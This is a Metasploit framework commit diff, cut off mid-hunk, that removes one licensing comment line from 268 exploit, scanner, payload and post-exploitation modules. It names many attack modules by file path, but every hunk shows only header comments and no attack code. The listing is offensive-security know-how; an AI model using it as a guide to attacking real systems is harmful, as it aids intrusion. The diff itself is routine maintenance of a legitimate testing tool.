.../scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb | 1 - .../auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb | 1 - modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb | 1 - .../auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb | 1 - modules/auxiliary/scanner/scada/modbus_findunitid.rb | 1 - modules/auxiliary/scanner/scada/modbusclient.rb | 1 - modules/auxiliary/scanner/scada/modbusdetect.rb | 1 - modules/auxiliary/scanner/smb/smb_enumshares.rb | 1 - modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb | 1 - modules/auxiliary/server/capture/http_basic.rb | 1 - modules/auxiliary/server/http_ntlmrelay.rb | 1 - modules/encoders/x86/bloxor.rb | 1 - modules/exploits/apple_ios/ssh/cydia_default_ssh.rb | 1 - modules/exploits/linux/http/astium_sqli_upload.rb | 1 - modules/exploits/linux/http/dolibarr_cmd_exec.rb | 1 - modules/exploits/linux/http/esva_exec.rb | 1 - modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb | 1 - modules/exploits/linux/http/openfiler_networkcard_exec.rb | 1 - modules/exploits/linux/http/symantec_web_gateway_exec.rb | 1 - modules/exploits/linux/http/symantec_web_gateway_file_upload.rb | 1 - modules/exploits/linux/http/symantec_web_gateway_lfi.rb | 1 - modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb | 1 - modules/exploits/linux/http/vcms_upload.rb | 1 - modules/exploits/linux/http/webcalendar_settings_exec.rb | 1 - modules/exploits/linux/http/zabbix_sqli.rb | 1 - modules/exploits/linux/http/zen_load_balancer_exec.rb | 1 - modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb | 1 - modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb | 1 - modules/exploits/linux/misc/hp_vsa_login_bof.rb | 1 - modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb | 1 - modules/exploits/linux/ssh/symantec_smg_ssh.rb | 1 - modules/exploits/multi/browser/java_atomicreferencearray.rb | 1 - modules/exploits/multi/browser/java_verifier_field_access.rb | 1 - modules/exploits/multi/http/apprain_upload_exec.rb | 1 - modules/exploits/multi/http/auxilium_upload_exec.rb | 1 - modules/exploits/multi/http/cuteflow_upload_exec.rb | 1 - modules/exploits/multi/http/extplorer_upload_exec.rb | 1 - modules/exploits/multi/http/gestioip_exec.rb | 1 - modules/exploits/multi/http/glossword_upload_exec.rb | 1 - modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 1 - modules/exploits/multi/http/hyperic_hq_script_console.rb | 1 - modules/exploits/multi/http/jenkins_script_console.rb | 1 - modules/exploits/multi/http/kordil_edms_upload_exec.rb | 1 - modules/exploits/multi/http/lcms_php_exec.rb | 1 - modules/exploits/multi/http/log1cms_ajax_create_folder.rb | 1 - modules/exploits/multi/http/manageengine_search_sqli.rb | 1 - modules/exploits/multi/http/mobilecartly_upload_exec.rb | 1 - modules/exploits/multi/http/netwin_surgeftp_exec.rb | 1 - modules/exploits/multi/http/openfire_auth_bypass.rb | 1 - modules/exploits/multi/http/php_volunteer_upload_exec.rb | 1 - modules/exploits/multi/http/phptax_exec.rb | 1 - modules/exploits/multi/http/polarcms_upload_exec.rb | 1 - modules/exploits/multi/http/qdpm_upload_exec.rb | 1 - modules/exploits/multi/http/sflog_upload_exec.rb | 1 - modules/exploits/multi/http/testlink_upload_exec.rb | 1 - modules/exploits/multi/http/webpagetest_upload_exec.rb | 1 - modules/exploits/multi/http/wikka_spam_exec.rb | 1 - modules/exploits/multi/misc/batik_svg_java.rb | 1 - modules/exploits/multi/misc/hp_vsa_exec.rb | 1 - modules/exploits/multi/misc/indesign_server_soap.rb | 1 - modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 1 - modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb | 1 - modules/exploits/unix/misc/qnx_qconn_exec.rb | 1 - modules/exploits/unix/ssh/tectia_passwd_changereq.rb | 1 - modules/exploits/unix/webapp/arkeia_upload_exec.rb | 1 - modules/exploits/unix/webapp/clipbucket_upload_exec.rb | 1 - modules/exploits/unix/webapp/egallery_upload_exec.rb | 1 - modules/exploits/unix/webapp/flashchat_upload_exec.rb | 1 - modules/exploits/unix/webapp/hastymail_exec.rb | 1 - modules/exploits/unix/webapp/havalite_upload_exec.rb | 1 - modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 1 - modules/exploits/unix/webapp/libretto_upload_exec.rb | 1 - modules/exploits/unix/webapp/nagios_graph_explorer.rb | 1 - modules/exploits/unix/webapp/narcissus_backend_exec.rb | 1 - modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb | 1 - modules/exploits/unix/webapp/openemr_upload_exec.rb | 1 - modules/exploits/unix/webapp/php_charts_exec.rb | 1 - modules/exploits/unix/webapp/projectpier_upload_exec.rb | 1 - modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb | 1 - modules/exploits/unix/webapp/wp_property_upload_exec.rb | 1 - modules/exploits/unix/webapp/xoda_file_upload.rb | 1 - modules/exploits/unix/webapp/zeroshell_exec.rb | 1 - modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb | 1 - modules/exploits/unix/webapp/zpanel_username_exec.rb | 1 - modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb | 1 - modules/exploits/windows/browser/apple_quicktime_rdrf.rb | 1 - modules/exploits/windows/browser/asus_net4switch_ipswcom.rb | 1 - modules/exploits/windows/browser/clear_quest_cqole.rb | 1 - modules/exploits/windows/browser/crystal_reports_printcontrol.rb | 1 - modules/exploits/windows/browser/dell_webcam_crazytalk.rb | 1 - modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb | 1 - .../exploits/windows/browser/honeywell_hscremotedeploy_exec.rb | 1 - modules/exploits/windows/browser/honeywell_tema_exec.rb | 1 - .../exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb | 1 - .../exploits/windows/browser/hp_loadrunner_writefilebinary.rb | 1 - .../exploits/windows/browser/hp_loadrunner_writefilestring.rb | 1 - modules/exploits/windows/browser/ibm_spss_c1sizer.rb | 1 - modules/exploits/windows/browser/ie_cbutton_uaf.rb | 1 - modules/exploits/windows/browser/ie_cgenericelement_uaf.rb | 1 - modules/exploits/windows/browser/ie_execcommand_uaf.rb | 1 - modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 1 - .../windows/browser/indusoft_issymbol_internationalseparator.rb | 1 - modules/exploits/windows/browser/inotes_dwa85w_bof.rb | 1 - modules/exploits/windows/browser/intrust_annotatex_add.rb | 1 - modules/exploits/windows/browser/java_ws_double_quote.rb | 1 - modules/exploits/windows/browser/java_ws_vmargs.rb | 1 - modules/exploits/windows/browser/maxthon_history_xcs.rb | 1 - modules/exploits/windows/browser/mcafee_mvt_exec.rb | 1 - modules/exploits/windows/browser/mozilla_attribchildremoved.rb | 1 - .../windows/browser/mozilla_firefox_onreadystatechange.rb | 1 - .../exploits/windows/browser/mozilla_firefox_xmlserializer.rb | 1 - modules/exploits/windows/browser/mozilla_nssvgvalue.rb | 1 - modules/exploits/windows/browser/ms10_002_ie_object.rb | 1 - modules/exploits/windows/browser/ms11_081_option.rb | 1 - modules/exploits/windows/browser/ms12_004_midi.rb | 1 - modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb | 1 - modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb | 1 - modules/exploits/windows/browser/ms13_055_canchor.rb | 1 - modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 1 - modules/exploits/windows/browser/ms13_069_caret.rb | 1 - modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 1 - .../exploits/windows/browser/msxml_get_definition_code_exec.rb | 1 - modules/exploits/windows/browser/notes_handler_cmdinject.rb | 1 - .../exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb | 1 - .../exploits/windows/browser/oracle_webcenter_checkoutandopen.rb | 1 - modules/exploits/windows/browser/ovftool_format_string.rb | 1 - modules/exploits/windows/browser/quickr_qp2_bof.rb | 1 - .../windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb | 1 - .../exploits/windows/browser/siemens_solid_edge_selistctrlx.rb | 1 - .../exploits/windows/browser/synactis_connecttosynactis_bof.rb | 1 - modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb | 1 - modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb | 1 - modules/exploits/windows/fileformat/actfax_import_users_bof.rb | 1 - modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb | 1 - modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb | 1 - modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb | 1 - modules/exploits/windows/fileformat/djstudio_pls_bof.rb | 1 - modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb | 1 - .../windows/fileformat/erdas_er_viewer_rf_report_error.rb | 1 - modules/exploits/windows/fileformat/foxit_reader_launch.rb | 1 - modules/exploits/windows/fileformat/gsm_sim.rb | 1 - modules/exploits/windows/fileformat/ibm_pcm_ws.rb | 1 - modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb | 1 - modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb | 1 - modules/exploits/windows/fileformat/lattice_pac_bof.rb | 1 - modules/exploits/windows/fileformat/ms12_005.rb | 1 - modules/exploits/windows/fileformat/ms13_071_theme.rb | 1 - modules/exploits/windows/fileformat/netop.rb | 1 - modules/exploits/windows/fileformat/orbit_download_failed_bof.rb | 1 - .../exploits/windows/fileformat/real_player_url_property_bof.rb | 1 - .../exploits/windows/fileformat/shadow_stream_recorder_bof.rb | 1 - modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 1 - modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb | 1 - modules/exploits/windows/ftp/3cdaemon_ftp_user.rb | 1 - modules/exploits/windows/ftp/freefloatftp_user.rb | 1 - modules/exploits/windows/ftp/freefloatftp_wbem.rb | 1 - modules/exploits/windows/ftp/freeftpd_pass.rb | 1 - modules/exploits/windows/ftp/open_ftpd_wbem.rb | 1 - modules/exploits/windows/ftp/quickshare_traversal_write.rb | 1 - modules/exploits/windows/ftp/ricoh_dl_bof.rb | 1 - modules/exploits/windows/ftp/sami_ftpd_list.rb | 1 - modules/exploits/windows/http/cyclope_ess_sqli.rb | 1 - modules/exploits/windows/http/intrasrv_bof.rb | 1 - modules/exploits/windows/http/miniweb_upload_wbem.rb | 1 - modules/exploits/windows/http/netdecision_http_bof.rb | 1 - modules/exploits/windows/http/rabidhamster_r4_log.rb | 1 - modules/exploits/windows/http/solarwinds_storage_manager_sql.rb | 1 - modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb | 1 - modules/exploits/windows/http/ultraminihttp_bof.rb | 1 - modules/exploits/windows/local/ask.rb | 1 - modules/exploits/windows/local/bypassuac.rb | 1 - modules/exploits/windows/local/current_user_psexec.rb | 1 - modules/exploits/windows/misc/actfax_raw_server_bof.rb | 1 - modules/exploits/windows/misc/allmediaserver_bof.rb | 1 - modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb | 1 - modules/exploits/windows/misc/hp_dataprotector_new_folder.rb | 1 - modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb | 1 - modules/exploits/windows/misc/itunes_extm3u_bof.rb | 1 - modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb | 1 - modules/exploits/windows/mssql/mssql_linkcrawler.rb | 1 - modules/exploits/windows/mysql/scrutinizer_upload_exec.rb | 1 - modules/exploits/windows/scada/winlog_runtime_2.rb | 1 - modules/exploits/windows/ssh/freesshd_authbypass.rb | 1 - modules/exploits/windows/ssh/sysax_ssh_username.rb | 1 - modules/exploits/windows/tftp/distinct_tftp_traversal.rb | 1 - modules/exploits/windows/tftp/netdecision_tftp_traversal.rb | 1 - modules/exploits/windows/tftp/tftpserver_wrq_bof.rb | 1 - modules/payloads/singles/cmd/unix/reverse_python.rb | 1 - modules/payloads/singles/linux/x86/read_file.rb | 1 - modules/payloads/singles/windows/dns_txt_query_exec.rb | 1 - modules/post/linux/gather/enum_configs.rb | 1 - modules/post/linux/gather/enum_protections.rb | 1 - modules/post/linux/gather/enum_system.rb | 1 - modules/post/linux/manage/download_exec.rb | 1 - modules/post/multi/gather/pgpass_creds.rb | 1 - modules/post/multi/gather/skype_enum.rb | 1 - modules/post/osx/gather/enum_adium.rb | 1 - modules/post/osx/gather/enum_airport.rb | 1 - modules/post/osx/gather/enum_chicken_vnc_profile.rb | 1 - modules/post/osx/gather/enum_colloquy.rb | 1 - modules/post/osx/gather/enum_keychain.rb | 1 - modules/post/osx/gather/password_prompt_spoof.rb | 1 - modules/post/windows/gather/dnscache_dump.rb | 1 - modules/post/windows/gather/enum_files.rb | 1 - modules/post/windows/gather/forensics/recovery_files.rb | 1 - modules/post/windows/gather/local_admin_search_enum.rb | 1 - modules/post/windows/gather/word_unc_injector.rb | 1 - modules/post/windows/manage/portproxy.rb | 1 - modules/post/windows/manage/powershell/exec_powershell.rb | 1 - modules/post/windows/manage/pptp_tunnel.rb | 1 - modules/post/windows/manage/rpcapd_start.rb | 1 - modules/post/windows/manage/sdel.rb | 1 - 268 files changed, 268 deletions(-) diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index 9145390783..420fa97116 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index 94158f52c6..907b6d346d 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index b32f2140ab..5e699ade6f 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb index d02be7f842..cba102f051 100644 --- a/modules/auxiliary/admin/misc/wol.rb +++ b/modules/auxiliary/admin/misc/wol.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 3ce3034e75..202c149cf5 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index 8592fe86ed..c2f978a0a0 100755 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index f029dc542e..2e7c9a85d2 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 71627f4e72..bc37d89b7b 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index 628a720537..81c99243b9 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index c240e60cb2..25a18f274e 100755 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 5469a193cd..738045917a 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index 37e0245d96..a9b9176f6d 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 321d936242..69fabe0493 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index 89c660b01a..e5c807f9c2 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 4984d0dd34..4ea36333bb 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index e2f4479c9d..10e1e31fea 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index 6031e96d7c..f05fa7eb17 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 32fd955c57..5d469297d3 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index cf3ec41b04..c5c2573377 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 34359954b0..8119f631fc 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb index 20d87e2db1..d6daa4aec4 100644 --- a/modules/auxiliary/scanner/http/http_hsts.rb +++ b/modules/auxiliary/scanner/http/http_hsts.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index a70b85b993..efd73beac0 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index eccde58252..96a0b350a3 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index 71371bb3e8..0c52d63d63 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index c1dc56e999..77abd0e20c 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index 214faa324c..02791f3501 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index ff66f1bb71..3f3f1b83ba 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index 98b03e785b..afbbde818a 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 75d95cfce5..cdfb73f6d8 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index f79dcc7112..b2384421b6 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 00fb8cff83..583778d451 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb index 1b82f57067..6bc54d1c69 100644 --- a/modules/auxiliary/scanner/http/sockso_traversal.rb +++ b/modules/auxiliary/scanner/http/sockso_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index dc492b8e1e..7a5057147e 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb 